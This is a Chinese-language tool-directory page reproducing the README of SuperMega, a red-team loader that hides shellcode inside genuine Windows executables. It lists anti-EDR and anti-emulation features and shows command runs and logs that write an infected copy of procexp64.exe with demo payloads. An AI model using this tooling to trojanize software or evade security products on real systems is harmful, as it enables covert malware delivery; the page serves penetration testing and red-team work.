Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SuperMega — 隐蔽地将 shellcode 注入可执行文件 | Kitploit
工具/GitHubGitHub/dobin/supermega
持久化机制漏洞利用IDS/IPS规避Shellcode恶意软件分析渗透测试红队Shellcode 生成Payload 开发二进制利用
GitHubdobin/supermega
490831年前Kitploit 审核通过
分享

SuperMega

隐蔽地将 shellcode 注入可执行文件

查看仓库

SuperMega - Cordyceps 实现

Ophiocordyceps camponoti-balzani 是一种真菌,寄生于膜翅目昆虫宿主,主要是蚂蚁。 O. camponoti-balzani 感染蚂蚁,并在宿主移动到适合真菌传播孢子的理想位置后最终将其杀死。

是什么

SuperMega 是一个 shellcode 加载器。通过将 payload shellcode 注入到 真正的可执行文件(.exe 或 .dll)中。

加载器/载体 shellcode 将紧密集成到 .exe 中,使静态分析 很难发现该 exe 已被感染。静态分析只会看到 真正的 exe 产物。

它还使用现代反 EDR 机制,使 shellcode 加载更不容易 被检测到。

特性:

  • 使用 XOR 加密 payload
  • 执行护栏,使 payload 仅在目标上解密
  • 反模拟,对抗在内存中检测 payload 的 AV 模拟器
  • EDR 去条件化,对抗 EDR 内存扫描
  • 保留可执行文件的所有原始属性(导入、元数据等)以对抗启发式检测
  • 通过主函数劫持执行代码以对抗静态分析
  • 载体不进行 PEB 遍历,复用 IAT 来执行 Windows API 函数(Cordyceps 技术)

参考资料:

  • 幻灯片 HITB2024 BKK "My first and last shellcode loader"
  • 博客 Supermega Loader
  • 博客 Cordyceps 文件注入技术

SuperMega

使用准备

SuperMega 依赖 VS2022 编译器。

启动 x64 native tools command prompt 来执行 web.py 或 supermega.py。

或者,如果你想使用现有的 shell,例如用于 VSC:

在 powershell 中:

> cmd.exe /k "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64

在 cmd 中:

> call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64

根据需要调整路径。这应使 cl.exe 和 Windows.h 可用,它们是编译 carrier shellcode 所必需的。

Web 用法

> ./web.py

浏览至 http://localhost:5001。

用法命令行

将 calc64.bin shellcode 注入到 procexp64.exe 的示例:

PS C:\Users\dobin\Repos\SuperMega> cmd.exe /k "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64
**********************************************************************
** Visual Studio 2022 Developer Command Prompt v17.12.4
** Copyright (c) 2022 Microsoft Corporation
**********************************************************************
[vcvarsall.bat] Environment initialized for: 'x64'

C:\Users\dobin\Repos\SuperMega>python.exe supermega.py
(helper.py       ) Write project to: projects/commandline/project.pickle
(project.py      ) -[ Cleanup project: commandline
(payload.py      ) -[ Payload: data/binary/shellcodes/calc64.bin
(payload.py      )     Size: 272 bytes
(templater.py    ) -[ Carrier create Template: projects/commandline/main.c
(templater.py    )     Carrier: alloc_rw_rx
(templater.py    )     Carrier: Code into: .text
(templater.py    )     Carrier: Decoder: xor_2
(templater.py    )     Carrier: Invoker: backdoor Entrypoint
(templater.py    )     Carrier AntiEmulation: sirallocalot
(templater.py    )     Carrier Guardrail: none
(templater.py    )     Carrier Decoy: none
(compiler.py     ) -[ Carrier: Compile C to ASM
(compiler.py     )     Carrier: projects/commandline/main.c -> projects/commandline/main.asm
(helper.py       )    > Run process: cl.exe /c /FA /GS- /Faprojects/commandline/ projects/commandline/main.c
(assembler.py    ) -[ Carrier: ASM to EXE
(assembler.py    )     Carrier: projects/commandline/main.asm -> projects/commandline/main.exe
(helper.py       )    > Run process: ml64.exe projects/commandline/main.asm /link /OUT:projects/commandline/main.exe /entry:AlignRSP
(assembler.py    )     Carrier Size: 590
(injector.py     ) -[ Injecting Carrier
(injector.py     )     Injectable: data/binary/injectables/procexp64.exe -> projects/commandline/procexp64.infected.exe
(injector.py     )     Checking if IAT entries required by carrier are available
(injector.py     )     IAT entries missing: 0
(injector.py     )     Inject: Write Carrier to 0x71C8D (0x7108D)
(injector.py     )     Backdoor function at entrypoint (0xE1D78)
(injector.py     )     Inject Carrier data into injectable .rdata/.text
(injector.py     )     Patch Carrier code to reference the injected data
(injector.py     ) -[ Write to file: projects/commandline/procexp64.infected.exe

> C:\Users\dobin\Repos\SuperMega>.\projects\commandline\procexp64.infected.exe

要将 shellcode messagebox.bin 注入到可注入的 procexp64.exe 中,使用载体 alloc_rw_rx 和解码器 xor_1,其中:

  • shellcode messagebox.bin:data/binary/shellcodes/messagebox.bin
  • 可注入的 procexp64.exe:data/binary/injectables/procexp64.exe
  • 载体 alloc_rw_rx:data/source/carrier/alloc_rw_rx/template.c
  • 解码器 xor_1:data/source/decoder/xor_1.c
> python.exe supermega.py --shellcode messagebox.bin --inject procexp64.exe --carrier alloc_rw_rx --decoder xor_1 
(helper.py       ) Write project to: projects/commandline/project.pickle
(project.py      ) -[ Cleanup project: commandline
(payload.py      ) -[ Payload: data/binary/shellcodes/messagebox.bin
(payload.py      )     Size: 433 bytes
(templater.py    ) -[ Carrier create Template: projects/commandline/main.c
(templater.py    )     Carrier: alloc_rw_rx
(templater.py    )     Carrier: Code into: .text
(templater.py    )     Carrier: Decoder: xor_1
(templater.py    )     Carrier: Invoker: backdoor Entrypoint
(templater.py    )     Carrier AntiEmulation: sirallocalot
(templater.py    )     Carrier Guardrail: none
(templater.py    )     Carrier Decoy: none
(compiler.py     ) -[ Carrier: Compile C to ASM
(compiler.py     )     Carrier: projects/commandline/main.c -> projects/commandline/main.asm
(helper.py       )    > Run process: cl.exe /c /FA /GS- /Faprojects/commandline/ projects/commandline/main.c
(assembler.py    ) -[ Carrier: ASM to EXE
(assembler.py    )     Carrier: projects/commandline/main.asm -> projects/commandline/main.exe
(helper.py       )    > Run process: ml64.exe projects/commandline/main.asm /link /OUT:projects/commandline/main.exe /entry:AlignRSP
(assembler.py    )     Carrier Size: 576
(injector.py     ) -[ Injecting Carrier
(injector.py     )     Injectable: data/binary/injectables/procexp64.exe -> projects/commandline/procexp64.infected.exe
(injector.py     )     Checking if IAT entries required by carrier are available
(injector.py     )     IAT entries missing: 0
(injector.py     )     Inject: Write Carrier to 0x71C43 (0x71043)
(injector.py     )     Backdoor function at entrypoint (0xE1D78)
(injector.py     )     Inject Carrier data into injectable .rdata/.text
(injector.py     )     Patch Carrier code to reference the injected data
(injector.py     ) -[ Write to file: projects/commandline/procexp64.infected.exe

> C:\Users\dobin\Repos\SuperMega>.\projects\commandline\procexp64.infected.exe

目录

输入:

  • data/binary/shellcodes:输入:我们想用作输入的 shellcode(payload)。.bin
  • data/binary/injectables/:输入:我们注入其中的非恶意 EXE 文件。.exe

输出:

  • projects/<projectname>:输出:包含生成文件的项目目录,其中包括被感染的 exe
  • projects/default:输出:包含来自 Web 的所有文件的项目目录
  • projects/commandline:输出:包含来自命令行的所有文件的项目目录

可修改:

  • data/source/carrier:实际解码并执行 payload 的组件(alloc_rw_rx、alloc_rx_rwx 等)
  • data/source/antiemulation:使 AV 模拟器放弃的不同实现(sirallocalot、timeraw 等)
  • data/source/decoder:payload 的解密(xor、xor2)
  • data/source/guardrails:执行护栏示例(env)
  • data/source/virtualprotect:一些关于 virtualprotect 的有趣用法

安装

升级时请清空 projects/。

需要 VS2022 编译器:

  • ml64.exe
  • cl.exe

以及 Python 包:

> pip.exe install -r requirements.txt

Visual Studio 2022 可能需要的包/组件列表:

  • C++ 2022 Redistributable Update
  • C++ Build Insights
  • C++ CMake tools for windows
  • C++ /CLI support for v143 build tools (lastest)
  • MSBuild
  • MSVC v133 - VS 2002 C++ x64/x86 build tools (latest)
  • C++ ATL for latest v143 build tools (x86 & x64)
  • C++ MFC for latest v143 build tools (x86 & x64)
  • Windows 11 SDK

可选:

  • r2.exe

配置与 OPSEC

功能与设置说明。

Shellcode / Payload

--shellcode <filename.bin>
64 位 payload shellcode,例如你的 CobaltStrike beacon。应为 x64。
位于 data/binary/shellcodes/*.bin 目录中。

Injectable / .exe .dll

--inject <filename.exe>
用作木马的 64 位 Windows PE 可执行文件。shellcode 将被注入到此 EXE 或 DLL 中。EXE/DLL 的原始功能将不再工作(它只会执行其所携带的 shellcode 的载体)
位于 data/binary/injectables/*.exe *.dll 目录中。

确保它具备所有必需的 DLL。

Carrier

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    509
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    469
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    343
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    310
  • 5

    opencti

    opencti-platform/opencti

    开放式网络威胁情报平台

    306
  • 6

    estorides

    grisuno/estorides

    并行聚合 99+ 个免费 OSINT 来源,将实体解析为知识图谱,并借助 LLM 辅助分析导出 STIX 2.1、MISP 或 GraphML。

    301

探索所有工具

浏览我们的工具集合

查看所有工具 →